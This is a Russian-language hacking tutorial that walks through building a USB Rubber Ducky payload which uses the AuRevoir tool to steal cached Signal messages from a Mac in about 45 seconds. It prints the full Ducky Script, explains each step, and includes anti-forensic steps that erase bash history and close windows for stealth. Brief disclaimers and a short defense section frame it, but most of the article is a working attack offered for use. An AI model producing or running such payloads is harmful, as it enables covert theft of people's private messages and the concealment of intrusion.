Разработанный в недрах Open Whisper Systems мессенджер Signal — это бесплатное приложение с открытым исходным кодом, предназначенное для шифрования коммуникаций, как для мобильных устройств, так и для десктопов. Оно позволяет пользователям совершать голосовые звонки, отправлять сообщения и даже делать видеозвонки. Однако недавно была обнаружена уязвимость в десктопной версии, которую можно превратить в полезную нагрузку для USB-утенка (USB Rubber Ducky) и украсть одним кликом все сообщения Signal.

Мессенджер Signal был чрезвычайно популярен среди пользователей, озабоченных конфиденциальностью своих данных, благодаря сочетанию предоставляемого уровня конфиденциальности и удобства. Но такой компромисс имеет свои последствия. Специалисты по безопасности Алек Маффетт (Alec Muffett) и Патрик Уордл (Patrick Wardle) обнаружили уязвимость, которая позволяет без пароля восстановить в виде простого текста сообщения, удаленные с помощью десктопной версии Signal для macOS. Это стало возможным благодаря тому, что macOS сохраняет в виде обычного текста сообщения Signal, отображаемые пользователю во всплывающих уведомлениях.

Патрик, бывший специалист по безопасности NSA (Национальное агентство безопасности США), разрабатывает бесплатные security-приложения для macOS. Он создал приложение, которое позволяет пользователям получать, удалять или сохранять эти сообщения в текстовый файл, даже если они уже были удалены с помощью одной из ключевых функций Signal: «исчезающие сообщения». Приложение, называемое AuRevoir, упрощает процесс доступа к этим сообщениям и его можно скачать с GitHub.

И хотя Signal уже залатали патчем эту уязвимость для будущих сообщений, все сообщения, которые уже находятся в системе уведомлений, все еще существуют и их можно заполучить. Сегодня мы продемонстрируем, как использовать AuRevoir для написания Ducky Script’а. С помощью этого скрипта можно украсть все сообщения Signal на MacBook или на другом компьютере Mac примерно в течение 45 секунд после его запуска.

Вооружаем эксплоит уточкой

Чтобы использовать этот эксплоит на более крутом уровне, мы должны упаковать его в эксплоит для USB-уточки (USB Rubber Ducky), чтобы можно было быстро сбросить всю переписку Signal на любое MacOS-устройство, к которому у нас есть физический доступ. USB-уточка — это универсальная платформа для атаки, которая может выполнить эту задачу разными способами. Но вместо использования стандартного wget для скачивания и запуска приложения мы можем воспользоваться прошивкой «Twin Duck», которая позволит нам разместить и само приложение и украденную переписку Signal на самой Rubber Ducky. Это избавит нас от необходимости скачивать и запускать приложение самостоятельно или передавать данные по электронной почте.

Именно для этого мы и будем использовать прошивку Twin Duck, что позволит USB-уточке быть распознанной одновременно и как клавиатура, и как USB-накопитель. Мы можем использовать эти настройки для автоматизации большинства этапов взлома, где присутствует только один этап, выполняемый вручную — клик по кнопке «Просмотреть сообщения». Эта необходимость связана с тем, что USB Rubber Ducky не может имитировать клики мыши, но можно использовать некоторый Python-код, который возьмет на себя решение этой проблемы в будущем.

Дисклеймер. Копировать сообщения пользователя без его прямого и явного разрешения незаконно, поэтому действия, выполняемые в этой статье, можно производить только в системе, к которой у вас есть разрешение на доступ. И хотя такие сообщения хранятся в незашифрованном виде, их получение без разрешения является незаконным в подавляющем большинстве юрисдикций.

Читать также:  Основы Linux .Часть 14 ( MySQL )

Что вам понадобится

Для начала вам понадобится USB-уточка (USB Rubber Ducky)  от Hak5. Стандартная прошивка не будет работать для этой атаки, поэтому нам нужно перепрошить «уточку» нашей кастомной прошивкой. Для этого можно обратиться к нашей статье о прошивке USB Rubber Ducky.

Вы можете записать новую прошивку Twin Duck, скачав Ducky Flasher, который имеется в репозиториях Hak5 на GitHub. Ducky Flasher может записывать разнообразные прошивки, каждая из которых изменяет поведение USB-уточки.

Чтобы написать Ducky Script и закодировать полезную нагрузку, вы можете использовать Duck Encoder, который можно найти по ссылке на GitHub выше, или просто использовать веб-интерфейс типа Duck Toolkit.

Нам также понадобится приложение AuRevoir Патрика Уордла, так как именно оно будет находить для нас все сообщения Signal в системе. Вы можете загрузить его из ObjectiveSee GitHub.

Приложение AuRevoir

Приложение AuRevoir Патрика Уордла является отличным инструментом для извлечения сообщений Signal, хранящихся в системе уведомлений macOS. Оно простое и очень удобно в работе. Благодаря продуманному графическому интерфейсу эта программа — лучший выбор для пользователя, которому нужно найти и удалить уведомления Signal, хранящиеся на его компьютере, что сделает атаку бесплодной.

После того, как вы скачаете приложение и откроете его, перед вами предстанут три опции: просмотр сообщений («View Msgs»), удаление сообщений («Remove Msgs») или сохранение всех сообщений («dump all») в .txt-файл. Если вам интересно, как обстоят дела с вашими сообщениями, то вы можете скачать и запустить это приложение на своей системе, и тогда вы сможете определить, имеются ли у вас какие-нибудь личные сообщения, которые следует удалить.

Это приложение работает безупречно, но мы можем автоматизировать процесс доставки к нам сообщений, проведя анализ процесса захвата сообщений Signal, а затем автоматизировать его до такой степени, чтобы можно было использовать программу с USB-уточкой. Используя простой Ducky Script, мы можем запустить приложение AuRevoir с «уточки», быстро найти, а затем скопировать сообщения с помощью скрипта автоматизации.

Разработка эксплоита с помощью анализа процесса

Разработка скрипта для USB-уточки требует креативности, терпения, тщательного анализа и наблюдения за процессом, который вы хотите закодировать. В частности, доступ к компьютеру со схожей конфигурацией является обязательным для тестирования вашего Ducky Script’а в процессе его разработки. Некоторые нюансы, такие как наличие пользовательских (не дефолтных) комбинаций клавиш, могут нейтрализовать вашу полезную нагрузку Ducky Script, поэтому если ваша цель не использует сочетания клавиш по умолчанию, то вы можете столкнуться с определенными проблемами.

В этом случае нам нужно написать код, который будет запускать приложение с «уточки», копировать извлеченные сообщения, затем создаст на «уточке» текстовый файл, куда вставит скопированные данные. Мы также должны убедиться, что не оставляем открытыми окна в системе, в том числе уведомление «Диск извлечен неправильно» (Disk Not Ejected Properly). Для максимальной скрытности эта полезная нагрузка должна выполняться как можно быстрее, не оставляя следов в истории терминала и не оставляя окна открытыми после завершения своей работы.

Самая важная часть разработки полезной нагрузки Ducky Script — это как можно больше и тщательнее тестировать ее на разных компьютерах. Только так вы сможете точно настроить результаты для вашей целевой системы и учесть все нюансы и переменные, которые могли бы отключить ваш скрипт. Помните, что USB-уточка не может видеть, что происходит, поэтому она не сможет восстановить свою работу, если появится всплывающее окно или что-то другое завершит ее работу.

Читать также:  Metasploit для начинающего хакера. Часть 14 (создание ресурсных файлов)

Написание Ducky Script’а

Язык Ducky Script написан очень просто, и вы сможете быстро научиться на нем писать, обращаясь к документации по Ducky Script, но в целом все, что вы можете сделать с помощью клавиатуры — вы сможете сделать и в Ducky Script. Все, что вы можете напечатать, должно следовать после тега STRING, а любые комбинации клавиш могут быть смоделированы с помощью таких тегов, как ENTER или COMMAND.

В этом случае наш скрипт относительно прост. Ниже вы можете увидеть тот скрипт, который мы будем использовать. Финальная версия скрипта отработала свою задачу за 45 секунд, а первоначальная версия — за минуту и 15 секунд, но вам может потребоваться увеличить время задержки работы, если система, на которую вы нацелились, работает медленно.

REM MACOS SIGNAL MESSAGE STEALER FOR TWIN DUCK REM - SKICKAR FOR HACKER INTERCHANGE 2018 REM Note: Requires you to click «View messages» to function DELAY 2000
GUI SPACE
DELAY 400
STRING terminal
DELAY 100
ENTER
DELAY 1000
STRING open /Volumes/DUCKY/AuRevoir.app
DELAY 500
ENTER
DELAY 9000
COMMAND A
COMMAND C
ESCAPE
GUI q
DELAY 400
GUI q
COMMAND TAB
DELAY 400
STRING nano /Volumes/DUCKY/stealer.txt
ENTER
DELAY 400
COMMAND v
DELAY 5000
CTRL X
DELAY 200
STRING y
DELAY 300
ENTER
DELAY 200
STRING diskutil unmount /Volumes/DUCKY
DELAY 100
ENTER
DELAY 1500
STRING rm ~/.bash_history && history -c
DELAY 100
ENTER
DELAY 400
STRING exit
ENTER
DELAY 700
GUI q

Давайте разберем то, что он делает.

После короткой 2-секундной задержки, которая нужна чтобы раздел USB-уточки примонтировался, нам нужно получить доступ к окну терминала, чтобы использовать возможности USB-уточки быстро вводить команды. Для этого мы будем использовать комбинацию клавиш, которая по умолчанию включена на компьютерах macOS — одновременное нажатие клавиш Command and Space. Это откроет окно поиска, которое позволит нам найти «Терминал» и запустить его, нажав Enter.

DELAY 2000
GUI SPACE
DELAY 400
STRING terminal
DELAY 100
ENTER

Теперь нужно открыть файл AuRevoir.app, который размещен на нашей USB-уточке. Если вы еще не скопировали приложение AuRevoir, просто перетащите его на SD-карту «уточки» вместе с добавлением полезной нагрузки.

Открыть приложение достаточно просто. Для этого мы можем использовать команду open, за которой следует указание местоположения файла на USB-уточке. Как только мы нажмем Enter, приложение откроется, и тут мы ставим задержку примерно в 9 секунд, чтобы пользователь нажал кнопку для продолжения работы скрипта.

Это единственная часть скрипта, которая непосредственно взаимодействует с пользователем, так как после открытия приложения необходимо нажать на кнопку «View Msgs» (Просмотреть сообщения), чтобы скрипт смог скопировать их на следующем этапе. Поскольку USB-уточка не может слать системе события мыши, то это единственная часть скрипта, которая не автоматизирована.

DELAY 1000
STRING open /Volumes/DUCKY/AuRevoir.app
DELAY 500
ENTER
DELAY 9000

Теперь, когда перед нами есть сообщения, которые можно заполучить, мы можем выбрать все сообщения с помощью комбинации клавиш «Command + A», а затем нажать «Command + C», чтобы скопировать их все в буфер обмена. Сделав это, мы можем закрыть AuRevoir, нажав клавишу Esc, а затем дважды нажать на клавишу Q с помощью тега GUI. Это необходимо для закрытия как самой программы, так и всплывающего окна, которое вылезает, чтобы спросить, не хотите ли вы задонатить автору.

COMMAND A
COMMAND C
ESCAPE
GUI q
DELAY 400
GUI q

Нам нужно будет вернуться в окно терминала и собрать данные, которые мы скопировали. Мы можем сделать это, одновременно нажав клавиши Command + Tab. Это вернет нас в окно терминала, где мы можем создать новый текстовый файл на нашей «уточке» с помощью команды nano. Мы решили назвать файл stealer.txt, но вы можете назвать его как-нибудь менее подозрительно.

Читать также:  Как сделать неуловимую полезную нагрузку . Часть 1 . Обходя антивирусы

После того, как вы подождете около шести секунд для сохранения сообщений, скрипт сохранит файл и подтвердит выход из текстового редактора, одновременно нажав «Command + X», а затем нажав Y и Enter. Это должно сохранить файл. На этом этапе мы копировали и вставили все сообщения Signal на «уточку», и прямо сейчас мы можем уйти. Примерно через 44 секунды этот скрипт достигнет нашей основной цели, но нам нужно потратить еще некоторое время на заметание следов — закрытие окон и проверку, что на экране ничего нет.

COMMAND TAB
DELAY 400
STRING nano /Volumes/DUCKY/stealer.txt
ENTER
DELAY 400
COMMAND v
DELAY 5000
CTRL X
DELAY 200
STRING y
DELAY 300
ENTER

Остальные шаги, которые нам нужно выполнить, чтобы отключиться от цели, заключаются в размонтировании «уточки», чтобы избежать сообщений об ошибках, в удалении всех записей об использовании нами команд терминала, в закрытии всех окон, открытых скриптом. С помощью Disk Utility мы размонтируем раздел USB-накопителя нашей «уточки» перед ее извлечением, а затем она запустит команду для удаления файла, в котором хранится история BASH-терминала.

Когда история BASH будет вычищена, а «уточка» извлечена, заключительные строки скрипта выйдут из bash-сессии и закроют окно.

DELAY 200
STRING diskutil unmount /Volumes/DUCKY
DELAY 100
ENTER
DELAY 1500
STRING rm ~/.bash_history && history -c
DELAY 100
ENTER
DELAY 400
STRING exit
ENTER
DELAY 700
GUI q

Это вернет машину в состояние, в котором мы ее нашли.

Как только эта полезная нагрузка будет написана, вы можете использовать веб-сайт Duck Toolkit для того, чтобы закодировать ее в файл inject.bin, который вы сможете потом скачать и перенести в USB-уточку. Это все, что вам потребуется для подготовки к атаке с помощью USB Rubber Ducky.

Защита против атаки

USB Rubber Ducky — «одностороннее» устройство, что означает, что оно не может реагировать на изменения или неожиданные события на экране. Если появляются какие-либо всплывающие окна или пользователь использует собственные настройки и комбинации клавиш, то работа скрипта будет нарушена. Ноутбук нашего продюсера был неуязвим для этого скрипта, потому что он отключил комбинацию клавиш Command + Space для открытия Spotlight-окна, что не позволило «уточке» открыть окно терминала.

Лучший способ убедиться, что вы неуязвимы для этой атаки — это обновить десктопную версию приложения Signal и обязательно запустить программу AuRevoir, чтобы удалить все сообщения, которые были закэшированы до обновления. После этого у вас не должно остаться в системе сообщений, которые можно было бы украсть, и вы сможете расслабиться и заняться другими ужасными вещами, которые можно натворить с помощью «уточки». Также никогда не оставляйте ноутбук незаблокированным и без присмотра.

Надеемся, вам понравилась эта статья по созданию такого «оружия» для приложения AuRevoir, которое ворует сообщения Signal с помощью полезной нагрузки в виде Ducky Script’а. Если у вас есть какие-нибудь вопросы — не стесняйтесь, оставляйте их в комментариях.

Отказ от ответственности: Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.
Показать больше в Обучение

Оставить комментарий

Проверьте также

Как за 5 секунд обойти антивирусы с помощью одной Python-команды

Содержание:Шаг 1. Запустите сервер NetcatШаг 2. Сохраните полезную нагрузкуШаг 3. Загрузит…